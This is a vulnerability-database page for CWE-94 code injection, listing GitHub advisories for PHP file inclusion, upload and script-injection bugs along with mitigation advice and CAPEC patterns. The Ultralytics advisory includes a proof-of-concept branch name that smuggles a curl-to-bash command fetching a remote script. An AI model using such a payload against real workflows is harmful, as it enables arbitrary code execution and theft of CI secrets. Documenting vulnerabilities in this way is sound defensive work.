CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8377 vulnerabilities reference this CWE, most recent first.
GHSA-7WJ4-6JR7-34QW
Vulnerability from github – Published: 2022-05-17 02:06 – Updated: 2022-05-17 02:06PHP remote file inclusion vulnerability in inc/smarty/libs/init.php in AdaptCMS 2.0.0 Beta, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the sitepath parameter. NOTE: it was later reported that 2.0.1 is also affected.
{
"affected": [],
"aliases": [
"CVE-2010-2618"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-07-02T12:44:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in inc/smarty/libs/init.php in AdaptCMS 2.0.0 Beta, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the sitepath parameter. NOTE: it was later reported that 2.0.1 is also affected.",
"id": "GHSA-7wj4-6jr7-34qw",
"modified": "2022-05-17T02:06:43Z",
"published": "2022-05-17T02:06:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2618"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/59752"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1006-exploits/adaptcms200-rfi.txt"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/14016"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/15237"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/41116"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7WJC-6RVV-V2H4
Vulnerability from github – Published: 2022-05-24 17:11 – Updated: 2022-05-24 17:11admin/save-settings.php in Chadha PHPKB Standard Multi-Language 9 allows remote attackers to achieve Code Execution by injecting PHP code into any POST parameter when saving global settings.
{
"affected": [],
"aliases": [
"CVE-2020-10389"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-12T14:15:00Z",
"severity": "MODERATE"
},
"details": "admin/save-settings.php in Chadha PHPKB Standard Multi-Language 9 allows remote attackers to achieve Code Execution by injecting PHP code into any POST parameter when saving global settings.",
"id": "GHSA-7wjc-6rvv-v2h4",
"modified": "2022-05-24T17:11:05Z",
"published": "2022-05-24T17:11:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10389"
},
{
"type": "WEB",
"url": "https://antoniocannito.it/phpkb1#authenticated-remote-code-execution-cve-2020-10389"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48219"
},
{
"type": "WEB",
"url": "http://antoniocannito.it/?p=137#rce2"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/156751/PHPKB-Multi-Language-9-Authenticated-Remote-Code-Execution.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7WP2-4893-X9P6
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:08Code injection vulnerability in Palo Alto Networks Traps 5.0.5 and earlier may allow an authenticated attacker to inject arbitrary JavaScript or HTML.
{
"affected": [],
"aliases": [
"CVE-2019-1577"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-01T19:15:00Z",
"severity": "MODERATE"
},
"details": "Code injection vulnerability in Palo Alto Networks Traps 5.0.5 and earlier may allow an authenticated attacker to inject arbitrary JavaScript or HTML.",
"id": "GHSA-7wp2-4893-x9p6",
"modified": "2024-04-04T01:08:35Z",
"published": "2022-05-24T16:49:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1577"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2019-1577"
},
{
"type": "WEB",
"url": "https://securityadvisories.paloaltonetworks.com/Home/Detail/152"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/109053"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7WQ7-QJQV-2Q8F
Vulnerability from github – Published: 2022-05-02 00:07 – Updated: 2022-05-02 00:07PHP remote file inclusion vulnerability in config.php in Attachmax Dolphin 2.1.0 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the rel_path parameter.
{
"affected": [],
"aliases": [
"CVE-2008-4206"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-09-24T14:56:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in config.php in Attachmax Dolphin 2.1.0 and earlier, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the rel_path parameter.",
"id": "GHSA-7wq7-qjqv-2q8f",
"modified": "2022-05-02T00:07:59Z",
"published": "2022-05-02T00:07:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4206"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6468"
},
{
"type": "WEB",
"url": "http://e-rdc.org/v1/news.php?readmore=108"
},
{
"type": "WEB",
"url": "http://osvdb.org/48269"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31794"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4307"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/496427/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31207"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7WQR-PGMH-J75F
Vulnerability from github – Published: 2023-12-11 09:30 – Updated: 2023-12-11 09:30This vulnerability allows an remote attacker with low privileges to misuse Improper Control of Generation of Code ('Code Injection') to gain full control of the affected device.
{
"affected": [],
"aliases": [
"CVE-2023-5500"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-11T07:15:07Z",
"severity": "HIGH"
},
"details": "This vulnerability allows an remote attacker with low privileges to misuse Improper Control of Generation of Code (\u0027Code Injection\u0027) to gain full control of the affected device.",
"id": "GHSA-7wqr-pgmh-j75f",
"modified": "2023-12-11T09:30:54Z",
"published": "2023-12-11T09:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5500"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2023-049"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7WVF-MH83-33WW
Vulnerability from github – Published: 2022-05-17 05:36 – Updated: 2022-05-17 05:36PHPIDS before 0.7 does not properly implement Regular Expression Denial of Service (ReDoS) filters, which allows remote attackers to bypass rulesets and add PHP sequences to a file via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2011-5021"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-12-29T04:15:00Z",
"severity": "HIGH"
},
"details": "PHPIDS before 0.7 does not properly implement Regular Expression Denial of Service (ReDoS) filters, which allows remote attackers to bypass rulesets and add PHP sequences to a file via unspecified vectors.",
"id": "GHSA-7wvf-mh83-33ww",
"modified": "2022-05-17T05:36:02Z",
"published": "2022-05-17T05:36:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-5021"
},
{
"type": "WEB",
"url": "https://sitewat.ch/Advisory/View/7"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7X29-QQMQ-V6QC
Vulnerability from github – Published: 2024-08-14 20:53 – Updated: 2024-11-18 16:27Summary
The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.
Details
The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:
echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
echo "github.ref: ${{ github.ref }}"
echo "github.head_ref: ${{ github.head_ref }}"
echo "github.base_ref: ${{ github.base_ref }}"
In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.
PoC
- Create a fork of any repository that uses
ultralytics/actionswithin a workflow that runs onpull_request_target. -
In the fork create a branch as an injection payload, e.g.:
Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash -
Create a draft pull request.
- If the action is reachable, then achieve arbitrary code execution.
See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.
Impact
Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.
Fix
Sanitize the user-controlled variables using environment vars.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.2"
},
"package": {
"ecosystem": "GitHub Actions",
"name": "ultralytics/actions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-14T20:53:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n echo \"github.ref: ${{ github.ref }}\"\n echo \"github.head_ref: ${{ github.head_ref }}\"\n echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.",
"id": "GHSA-7x29-qqmq-v6qc",
"modified": "2024-11-18T16:27:04Z",
"published": "2024-08-14T20:53:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc"
},
{
"type": "WEB",
"url": "https://github.com/ultralytics/actions/commit/8069e0ac4c23170f308ea6985783e64ca4a7900a"
},
{
"type": "PACKAGE",
"url": "https://github.com/ultralytics/actions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitHub Actions Script Injection in `ultralytics/actions`"
}
GHSA-7X4H-2RPQ-2C9F
Vulnerability from github – Published: 2025-01-13 18:31 – Updated: 2025-01-13 21:30In Code-Projects Online Car Rental System 1.0, the file upload feature does not validate file extensions or MIME types allowing an attacker to upload a PHP shell without any restrictions and execute commands on the server.
{
"affected": [],
"aliases": [
"CVE-2024-57487"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-13T17:15:17Z",
"severity": "MODERATE"
},
"details": "In Code-Projects Online Car Rental System 1.0, the file upload feature does not validate file extensions or MIME types allowing an attacker to upload a PHP shell without any restrictions and execute commands on the server.",
"id": "GHSA-7x4h-2rpq-2c9f",
"modified": "2025-01-13T21:30:53Z",
"published": "2025-01-13T18:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57487"
},
{
"type": "WEB",
"url": "https://code-projects.org/online-car-rental-using-php-source-code"
},
{
"type": "WEB",
"url": "https://github.com/aaryan-11-x/CVE-2024-57487-and-CVE-2024-57488"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7X5Q-8F6H-RJRC
Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31Orkes Conductor 3.21.21 before 3.30.2 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute arbitrary OS commands by submitting inline workflow definitions containing malicious JavaScript or Python expressions to the workflow API endpoint prior to authentication. Attackers can exploit unsandboxed GraalVM evaluators configured with HostAccess.ALL or allowAllAccess(true) through INLINE, LAMBDA, DO_WHILE, and SWITCH task types to invoke arbitrary system commands via Java reflection or direct subprocess calls.
{
"affected": [],
"aliases": [
"CVE-2026-58138"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T19:17:00Z",
"severity": "CRITICAL"
},
"details": "Orkes Conductor 3.21.21 before 3.30.2 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute arbitrary OS commands by submitting inline workflow definitions containing malicious JavaScript or Python expressions to the workflow API endpoint prior to authentication. Attackers can exploit unsandboxed GraalVM evaluators configured with HostAccess.ALL or allowAllAccess(true) through INLINE, LAMBDA, DO_WHILE, and SWITCH task types to invoke arbitrary system commands via Java reflection or direct subprocess calls.",
"id": "GHSA-7x5q-8f6h-rjrc",
"modified": "2026-06-30T21:31:43Z",
"published": "2026-06-30T21:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58138"
},
{
"type": "WEB",
"url": "https://github.com/conductor-oss/conductor/commit/87a7d96aabbb706d6e84f812b93da5165028d18f"
},
{
"type": "WEB",
"url": "https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1"
},
{
"type": "WEB",
"url": "https://github.com/conductor-oss/conductor/releases/tag/v3.30.2"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-26074"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7X72-M5PV-W2M4
Vulnerability from github – Published: 2022-05-01 23:30 – Updated: 2022-05-01 23:30PHP remote file inclusion vulnerability in inc/linkbar.php in Small Axe Weblog 0.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the ffile parameter, a different vector than CVE-2008-0376. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2008-0442"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-25T00:00:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in inc/linkbar.php in Small Axe Weblog 0.3.1 allows remote attackers to execute arbitrary PHP code via a URL in the ffile parameter, a different vector than CVE-2008-0376. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-7x72-m5pv-w2m4",
"modified": "2022-05-01T23:30:20Z",
"published": "2022-05-01T23:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0442"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28568"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27383"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.